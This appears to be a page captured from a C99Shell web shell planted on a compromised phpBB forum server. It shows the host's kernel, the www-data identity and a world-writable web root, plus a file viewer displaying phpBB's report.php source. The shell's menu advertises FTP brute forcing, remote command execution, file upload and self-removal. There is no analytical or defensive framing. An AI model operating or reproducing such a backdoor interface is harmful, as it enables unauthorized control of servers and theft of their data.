!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/   drwxrwxrwx
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     report.php (4.18 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @package phpBB3
* @version $Id: report.php 8479 2008-03-29 00:22:48Z naderman $
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
* @ignore
*/
define('IN_PHPBB'true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH './';
$phpEx substr(strrchr(__FILE__'.'), 1);
include(
$phpbb_root_path 'common.' $phpEx);
include(
$phpbb_root_path 'includes/functions_display.' $phpEx);

// Start session management
$user->session_begin();
$auth->acl($user->data);
$user->setup('mcp');

$forum_id        request_var('f'0);
$post_id        request_var('p'0);
$reason_id        request_var('reason_id'0);
$report_text    utf8_normalize_nfc(request_var('report_text'''true));
$user_notify    = ($user->data['is_registered']) ? request_var('notify'0) : false;

$submit = (isset($_POST['submit'])) ? true false;

if (!
$post_id)
{
    
trigger_error('NO_POST_SELECTED');
}

$redirect_url append_sid("{$phpbb_root_path}viewtopic.$phpEx""f=$forum_id&amp;p=$post_id") . "#p$post_id";

// Has the report been cancelled?
if (isset($_POST['cancel']))
{
    
redirect($redirect_url);
}

// Grab all relevant data
$sql 'SELECT t.*, p.*
    FROM ' 
POSTS_TABLE ' p, ' TOPICS_TABLE " t
    WHERE p.post_id = 
$post_id
        AND p.topic_id = t.topic_id"
;
$result $db->sql_query($sql);
$report_data $db->sql_fetchrow($result);
$db->sql_freeresult($result);

if (!
$report_data)
{
    
trigger_error('POST_NOT_EXIST');
}

$forum_id = (int) ($report_data['forum_id']) ? $report_data['forum_id'] : $forum_id;
$topic_id = (int) $report_data['topic_id'];

$sql 'SELECT *
    FROM ' 
FORUMS_TABLE '
    WHERE forum_id = ' 
$forum_id;
$result $db->sql_query($sql);
$forum_data $db->sql_fetchrow($result);
$db->sql_freeresult($result);

if (!
$forum_data)
{
    
trigger_error('FORUM_NOT_EXIST');
}

// Check required permissions
$acl_check_ary = array('f_list' => 'POST_NOT_EXIST''f_read' => 'USER_CANNOT_READ''f_report' => 'USER_CANNOT_REPORT');

foreach (
$acl_check_ary as $acl => $error)
{
    if (!
$auth->acl_get($acl$forum_id))
    {
        
trigger_error($error);
    }
}
unset(
$acl_check_ary);

if (
$report_data['post_reported'])
{
    
$message $user->lang['ALREADY_REPORTED'];
    
$message .= '<br /><br />' sprintf($user->lang['RETURN_TOPIC'], '<a href="' $redirect_url '">''</a>');
    
trigger_error($message);
}

// Submit report?
if ($submit && $reason_id)
{
    
$sql 'SELECT *
        FROM ' 
REPORTS_REASONS_TABLE "
        WHERE reason_id = 
$reason_id";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$db->sql_freeresult($result);

    if (!
$row || (!$report_text && strtolower($row['reason_title']) == 'other'))
    {
        
trigger_error('EMPTY_REPORT');
    }

    
$sql_ary = array(
        
'reason_id'        => (int) $reason_id,
        
'post_id'        => $post_id,
        
'user_id'        => (int) $user->data['user_id'],
        
'user_notify'    => (int) $user_notify,
        
'report_closed'    => 0,
        
'report_time'    => (int) time(),
        
'report_text'    => (string) $report_text
    
);

    
$sql 'INSERT INTO ' REPORTS_TABLE ' ' $db->sql_build_array('INSERT'$sql_ary);
    
$db->sql_query($sql);
    
$report_id $db->sql_nextid();

    if (!
$report_data['post_reported'])
    {
        
$sql 'UPDATE ' POSTS_TABLE '
            SET post_reported = 1
            WHERE post_id = ' 
$post_id;
        
$db->sql_query($sql);
    }

    if (!
$report_data['topic_reported'])
    {
        
$sql 'UPDATE ' TOPICS_TABLE '
            SET topic_reported = 1
            WHERE topic_id = ' 
$report_data['topic_id'] . '
                OR topic_moved_id = ' 
$report_data['topic_id'];
        
$db->sql_query($sql);
    }

    
meta_refresh(3$redirect_url);

    
$message $user->lang['POST_REPORTED_SUCCESS'] . '<br /><br />' sprintf($user->lang['RETURN_TOPIC'], '<a href="' $redirect_url '">''</a>');
    
trigger_error($message);
}

// Generate the reasons
display_reasons($reason_id);

$template->assign_vars(array(
    
'REPORT_TEXT'        => $report_text,
    
'S_REPORT_ACTION'    => append_sid("{$phpbb_root_path}report.$phpEx"'f=' $forum_id '&amp;p=' $post_id),

    
'S_NOTIFY'            => $user_notify,
    
'S_CAN_NOTIFY'        => ($user->data['is_registered']) ? true false)
);

generate_forum_nav($forum_data);

// Start output of page
page_header($user->lang['REPORT_POST']);

$template->set_filenames(array(
    
'body' => 'report_body.html')
);

page_footer();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0038 ]--